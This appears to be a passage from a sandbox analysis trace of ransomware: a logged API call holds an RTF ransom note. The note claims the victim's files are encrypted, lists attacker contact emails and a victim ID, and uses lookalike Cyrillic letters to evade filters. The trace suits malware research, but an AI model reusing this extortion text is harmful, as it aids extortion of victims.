d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 